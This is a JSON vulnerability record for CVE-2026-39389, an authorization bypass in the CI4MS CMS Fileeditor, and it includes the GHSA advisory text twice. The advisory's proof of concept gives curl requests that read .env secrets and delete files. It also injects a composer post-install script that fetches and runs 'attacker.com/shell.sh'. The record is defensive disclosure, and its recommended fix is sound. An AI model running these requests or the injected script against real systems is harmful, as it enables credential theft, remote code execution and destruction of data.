{"id":"CVE-2026-39389","aliases":["EUVD-2026-20481","GHSA-9rxp-f27p-wv3h"],"status":"published","title":"CI4MS has a Hidden Items Authorization Bypass in Fileeditor Allows Reading Secrets and Writing Protected Files","description":"CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0,  This vulnerability is fixed in 0.31.4.0.","severity":{"version":"3.1","score":6.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0049,"percentile":0.42605,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-285"],"published":"2026-04-08T14:28:29Z","modified":"2026-10-28T02:31:02Z","fixes":[{"ecosystem":"Packagist","package":"ci4-cms-erp/ci4ms","fixed_in":["0.31.4.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"ci4-cms-erp/ci4ms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.31.3.0"},{"fixed":"0.31.4.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"ci4-cms-erp/ci4ms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.31.4.0"}]}],"versions":["0.21.0","0.21.1","0.21.2","0.21.3","0.21.3.1","0.21.3.2","0.21.3.3","0.21.3.4","0.21.3.5","0.21.3.6","0.21.3.7","0.23.0.0","0.23.0.1","0.23.0.2","0.23.1.0","0.24.0.0","0.24.0.16","0.24.0.18","0.24.0.19","0.24.0.20","0.24.0.27","0.24.0.42","0.24.0.45","0.24.0.60","0.25.0.0","0.25.0.1","0.25.0.2","0.25.0.30","0.25.0.39","0.25.0.43","0.25.1.0","0.25.2.0","0.25.3.0","0.26.0.0","0.26.1.0","0.26.2.0","0.26.3.0","0.26.3.1","0.26.3.2","0.26.3.3","0.26.3.4","0.27.0.0","0.28.0.0","0.28.3.0","0.28.4.0","0.28.5.0","0.28.6.0","0.31.0.0","0.31.1.0","0.31.2.0","0.31.3.0"]}],"products":[{"vendor":"ci4-cms-erp","product":"ci4ms"}],"references":[{"url":"https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-9rxp-f27p-wv3h","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39389","tags":["advisory"]},{"url":"https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0","tags":["web"]},{"url":"https://github.com/advisories/GHSA-9rxp-f27p-wv3h"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/39xxx/CVE-2026-39389.json","tags":["advisory"]},{"url":"https://github.com/ci4-cms-erp/ci4ms","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-39389","title":"CI4MS has a Hidden Items Authorization Bypass in Fileeditor Allows Reading Secrets and Writing Protected Files","description":"CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0,  This vulnerability is fixed in 0.31.4.0.","status":"published","published":"2026-04-08T14:28:29.847Z","modified":"2026-04-10T20:28:55.783Z","cvss":[{"version":"3.1","score":6.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-285"],"updated_at":"2026-11-02T14:20:02.662847Z"}],"euvd":[{"id":"EUVD-2026-20481","description":"CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0,  This vulnerability is fixed in 0.31.4.0.","status":"published","published":"2026-04-08T14:28:29Z","modified":"2026-04-10T20:28:55Z","cvss":[{"version":"3.1","score":6.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L","level":"medium"}],"updated_at":"2026-11-02T19:24:29.371024Z"}],"ghsa":[{"id":"GHSA-9rxp-f27p-wv3h","title":"CI4MS has a Hidden Items Authorization Bypass in Fileeditor Allows Reading Secrets and Writing Protected Files","description":"## Summary\n\nThe Fileeditor controller defines a `hiddenItems` array containing security-sensitive paths (`.env`, `composer.json`, `vendor/`, `.git/`) but only enforces this protection in the `listFiles()` method. The `readFile()`, `saveFile()`, `deleteFileOrFolder()`, `renameFile()`, `createFile()`, and `createFolder()` endpoints perform no hidden items validation, allowing direct API access to files that are intended to be protected. A backend user with only `fileeditor.read` permission can exfiltrate application secrets from `.env`, and a user with `fileeditor.update` permission can overwrite `composer.json` to achieve remote code execution.\n\n## Details\n\nThe `hiddenItems` array is defined at `modules/Fileeditor/Controllers/Fileeditor.php:10-26`:\n\n```php\nprotected $hiddenItems = [\n    '.git', '.github', '.idea', '.vscode',\n    'node_modules', 'vendor', 'writable',\n    '.env', 'env', 'composer.json', 'composer.lock',\n    'tests', 'spark', 'phpunit.xml.dist', 'preload.php'\n];\n```\n\nThis array is checked **only** in `listFiles()` at lines 45-48 and 64:\n\n```php\n// Line 45-48 - path component check\nforeach ($pathParts as $part) {\n    if (in_array($part, $this-\u003ehiddenItems)) {\n        return $this-\u003efailForbidden();\n    }\n}\n// Line 64 - directory listing filter\nif (in_array($name, $this-\u003ehiddenItems)) continue;\n```\n\nHowever, `readFile()` (line 76) performs **neither** a `hiddenItems` check **nor** an `allowedFileTypes()` check:\n\n```php\npublic function readFile()\n{\n    // ... validation ...\n    $path = $this-\u003erequest-\u003egetVar('path');\n    $fullPath = realpath(ROOTPATH . $path);\n    if (!$fullPath || !is_file($fullPath) || strpos($fullPath, realpath(ROOTPATH)) !== 0) {\n        return $this-\u003eresponse-\u003esetJSON(['error' =\u003e '...'])-\u003esetStatusCode(400);\n    }\n    return $this-\u003eresponse-\u003esetJSON(['content' =\u003e file_get_contents($fullPath)]);\n}\n```\n\nThis means any file within ROOTPATH — regardless of extension (`.php`, `.env`, etc.) — can be read by any user with the `fileeditor.read` permission.\n\nSimilarly, `saveFile()` (line 92) checks `allowedFileTypes()` but not `hiddenItems`. Since `json` is in `$allowedExtensions`, `composer.json` (which is explicitly in `hiddenItems`) can be overwritten:\n\n```php\nprotected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];\n```\n\n`deleteFileOrFolder()` (line 194) checks neither `hiddenItems` nor `allowedFileTypes()`.\n\n**Compounding factor:** CSRF protection is disabled for all fileeditor routes in `modules/Fileeditor/Config/FileeditorConfig.php:7-10`:\n\n```php\npublic $csrfExcept = [\n    'backend/fileeditor',\n    'backend/fileeditor/*',\n];\n```\n\nThis means the write and delete operations are additionally vulnerable to cross-site request forgery if an authenticated user visits a malicious page.\n\n## PoC\n\nRequires an authenticated backend session with `fileeditor.read` permission granted.\n\n**Step 1: Read .env file to extract secrets**\n```bash\ncurl -s -b 'ci_session=\u003cvalid_session_cookie\u003e' \\\n  'https://target.com/backend/fileeditor/read?path=/.env'\n```\nExpected response: JSON containing `.env` file contents including database credentials, encryption keys, and other secrets.\n\n**Step 2: Read PHP configuration files**\n```bash\ncurl -s -b 'ci_session=\u003cvalid_session_cookie\u003e' \\\n  'https://target.com/backend/fileeditor/read?path=/app/Config/Database.php'\n```\nExpected response: Full database configuration PHP source with credentials (note: `readFile()` has no `allowedFileTypes` check, so `.php` files are readable).\n\n**Step 3: Overwrite composer.json for RCE (requires `fileeditor.update` permission)**\n```bash\ncurl -s -b 'ci_session=\u003cvalid_session_cookie\u003e' \\\n  -X POST 'https://target.com/backend/fileeditor/save' \\\n  -d 'path=/composer.json' \\\n  -d 'content={\"scripts\":{\"post-install-cmd\":\"curl attacker.com/shell.sh|sh\"}}'\n```\nThe next `composer install` or `composer update` executes the attacker's script.\n\n**Step 4: Delete .env (requires `fileeditor.delete` permission)**\n```bash\ncurl -s -b 'ci_session=\u003cvalid_session_cookie\u003e' \\\n  -X POST 'https://target.com/backend/fileeditor/deleteFileOrFolder' \\\n  -d 'path=/.env'\n```\n\n## Impact\n\n- **Credential disclosure:** Any backend user with `fileeditor.read` permission can read `.env` (database passwords, encryption keys, API secrets, mail credentials) and any PHP configuration file regardless of extension restrictions.\n- **Remote code execution:** A user with `fileeditor.update` permission can overwrite `composer.json` with malicious composer scripts that execute on the next `composer install/update`.\n- **Denial of service:** A user with `fileeditor.delete` permission can delete `.env` or other critical configuration files, causing application failure.\n- **False security boundary:** Administrators who configure `fileeditor.read` as a limited permission for content editors are unknowingly granting access to all application secrets, since the `hiddenItems` protection only affects the UI file tree, not the API.\n\n## Recommended Fix\n\nApply `hiddenItems` validation to all endpoints that accept a `path` parameter. Extract the check into a reusable method and also add `allowedFileTypes` to `readFile()`:\n\n```php\n// Add this method to the Fileeditor controller\nprivate function isHiddenPath(string $path): bool\n{\n    $pathParts = explode('/', trim($path, '/'));\n    foreach ($pathParts as $part) {\n        if (in_array($part, $this-\u003ehiddenItems)) {\n            return true;\n        }\n    }\n    return false;\n}\n\n// Then add to readFile(), saveFile(), renameFile(), createFile(), \n// createFolder(), and deleteFileOrFolder():\nif ($this-\u003eisHiddenPath($path)) {\n    return $this-\u003efailForbidden();\n}\n\n// Additionally, add allowedFileTypes check to readFile():\nif (!$this-\u003eallowedFileTypes($fullPath)) {\n    return $this-\u003efailForbidden();\n}\n```\n\nAlso re-enable CSRF protection by removing the CSRF exemption in `FileeditorConfig.php` (lines 7-10) and ensuring the frontend sends CSRF tokens with requests.","status":"published","published":"2026-04-08T19:15:08Z","modified":"2026-04-08T19:15:09Z","cvss":[{"version":"3.1","score":6.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L","level":"medium"}],"cwes":["CWE-285"],"updated_at":"2026-11-02T14:39:51.193071Z"}],"nvd":[{"id":"CVE-2026-39389","description":"CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0,  This vulnerability is fixed in 0.31.4.0.","status":"published","published":"2026-04-08T15:16:13.587Z","modified":"2026-07-24T21:10:00.143Z","cvss":[{"version":"3.1","score":6.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-285"],"updated_at":"2026-11-02T14:12:13.535987Z"}],"osv":[{"id":"CVE-2026-39389","title":"CI4MS has a Hidden Items Authorization Bypass in Fileeditor Allows Reading Secrets and Writing Protected Files","description":"CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0,  This vulnerability is fixed in 0.31.4.0.","status":"published","published":"2026-04-08T14:28:29.847Z","modified":"2026-10-28T02:31:02.768479437Z","cvss":[{"version":"3.1","score":6.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L","level":"medium"}],"cwes":["CWE-285"],"updated_at":"2026-11-02T15:45:03.040464Z"},{"id":"GHSA-9rxp-f27p-wv3h","title":"CI4MS has a Hidden Items Authorization Bypass in Fileeditor Allows Reading Secrets and Writing Protected Files","description":"## Summary\n\nThe Fileeditor controller defines a `hiddenItems` array containing security-sensitive paths (`.env`, `composer.json`, `vendor/`, `.git/`) but only enforces this protection in the `listFiles()` method. The `readFile()`, `saveFile()`, `deleteFileOrFolder()`, `renameFile()`, `createFile()`, and `createFolder()` endpoints perform no hidden items validation, allowing direct API access to files that are intended to be protected. A backend user with only `fileeditor.read` permission can exfiltrate application secrets from `.env`, and a user with `fileeditor.update` permission can overwrite `composer.json` to achieve remote code execution.\n\n## Details\n\nThe `hiddenItems` array is defined at `modules/Fileeditor/Controllers/Fileeditor.php:10-26`:\n\n```php\nprotected $hiddenItems = [\n    '.git', '.github', '.idea', '.vscode',\n    'node_modules', 'vendor', 'writable',\n    '.env', 'env', 'composer.json', 'composer.lock',\n    'tests', 'spark', 'phpunit.xml.dist', 'preload.php'\n];\n```\n\nThis array is checked **only** in `listFiles()` at lines 45-48 and 64:\n\n```php\n// Line 45-48 - path component check\nforeach ($pathParts as $part) {\n    if (in_array($part, $this-\u003ehiddenItems)) {\n        return $this-\u003efailForbidden();\n    }\n}\n// Line 64 - directory listing filter\nif (in_array($name, $this-\u003ehiddenItems)) continue;\n```\n\nHowever, `readFile()` (line 76) performs **neither** a `hiddenItems` check **nor** an `allowedFileTypes()` check:\n\n```php\npublic function readFile()\n{\n    // ... validation ...\n    $path = $this-\u003erequest-\u003egetVar('path');\n    $fullPath = realpath(ROOTPATH . $path);\n    if (!$fullPath || !is_file($fullPath) || strpos($fullPath, realpath(ROOTPATH)) !== 0) {\n        return $this-\u003eresponse-\u003esetJSON(['error' =\u003e '...'])-\u003esetStatusCode(400);\n    }\n    return $this-\u003eresponse-\u003esetJSON(['content' =\u003e file_get_contents($fullPath)]);\n}\n```\n\nThis means any file within ROOTPATH — regardless of extension (`.php`, `.env`, etc.) — can be read by any user with the `fileeditor.read` permission.\n\nSimilarly, `saveFile()` (line 92) checks `allowedFileTypes()` but not `hiddenItems`. Since `json` is in `$allowedExtensions`, `composer.json` (which is explicitly in `hiddenItems`) can be overwritten:\n\n```php\nprotected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];\n```\n\n`deleteFileOrFolder()` (line 194) checks neither `hiddenItems` nor `allowedFileTypes()`.\n\n**Compounding factor:** CSRF protection is disabled for all fileeditor routes in `modules/Fileeditor/Config/FileeditorConfig.php:7-10`:\n\n```php\npublic $csrfExcept = [\n    'backend/fileeditor',\n    'backend/fileeditor/*',\n];\n```\n\nThis means the write and delete operations are additionally vulnerable to cross-site request forgery if an authenticated user visits a malicious page.\n\n## PoC\n\nRequires an authenticated backend session with `fileeditor.read` permission granted.\n\n**Step 1: Read .env file to extract secrets**\n```bash\ncurl -s -b 'ci_session=\u003cvalid_session_cookie\u003e' \\\n  'https://target.com/backend/fileeditor/read?path=/.env'\n```\nExpected response: JSON containing `.env` file contents including database credentials, encryption keys, and other secrets.\n\n**Step 2: Read PHP configuration files**\n```bash\ncurl -s -b 'ci_session=\u003cvalid_session_cookie\u003e' \\\n  'https://target.com/backend/fileeditor/read?path=/app/Config/Database.php'\n```\nExpected response: Full database configuration PHP source with credentials (note: `readFile()` has no `allowedFileTypes` check, so `.php` files are readable).\n\n**Step 3: Overwrite composer.json for RCE (requires `fileeditor.update` permission)**\n```bash\ncurl -s -b 'ci_session=\u003cvalid_session_cookie\u003e' \\\n  -X POST 'https://target.com/backend/fileeditor/save' \\\n  -d 'path=/composer.json' \\\n  -d 'content={\"scripts\":{\"post-install-cmd\":\"curl attacker.com/shell.sh|sh\"}}'\n```\nThe next `composer install` or `composer update` executes the attacker's script.\n\n**Step 4: Delete .env (requires `fileeditor.delete` permission)**\n```bash\ncurl -s -b 'ci_session=\u003cvalid_session_cookie\u003e' \\\n  -X POST 'https://target.com/backend/fileeditor/deleteFileOrFolder' \\\n  -d 'path=/.env'\n```\n\n## Impact\n\n- **Credential disclosure:** Any backend user with `fileeditor.read` permission can read `.env` (database passwords, encryption keys, API secrets, mail credentials) and any PHP configuration file regardless of extension restrictions.\n- **Remote code execution:** A user with `fileeditor.update` permission can overwrite `composer.json` with malicious composer scripts that execute on the next `composer install/update`.\n- **Denial of service:** A user with `fileeditor.delete` permission can delete `.env` or other critical configuration files, causing application failure.\n- **False security boundary:** Administrators who configure `fileeditor.read` as a limited permission for content editors are unknowingly granting access to all application secrets, since the `hiddenItems` protection only affects the UI file tree, not the API.\n\n## Recommended Fix\n\nApply `hiddenItems` validation to all endpoints that accept a `path` parameter. Extract the check into a reusable method and also add `allowedFileTypes` to `readFile()`:\n\n```php\n// Add this method to the Fileeditor controller\nprivate function isHiddenPath(string $path): bool\n{\n    $pathParts = explode('/', trim($path, '/'));\n    foreach ($pathParts as $part) {\n        if (in_array($part, $this-\u003ehiddenItems)) {\n            return true;\n        }\n    }\n    return false;\n}\n\n// Then add to readFile(), saveFile(), renameFile(), createFile(), \n// createFolder(), and deleteFileOrFolder():\nif ($this-\u003eisHiddenPath($path)) {\n    return $this-\u003efailForbidden();\n}\n\n// Additionally, add allowedFileTypes check to readFile():\nif (!$this-\u003eallowedFileTypes($fullPath)) {\n    return $this-\u003efailForbidden();\n}\n```\n\nAlso re-enable CSRF protection by removing the CSRF exemption in `FileeditorConfig.php` (lines 7-10) and ensuring the frontend sends CSRF tokens with requests.","status":"published","published":"2026-04-08T19:15:08Z","modified":"2026-04-08T19:41:24.261715Z","cvss":[{"version":"3.1","score":6.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L","level":"medium"}],"cwes":["CWE-285"],"updated_at":"2026-11-02T15:46:44.225359Z"}]}}
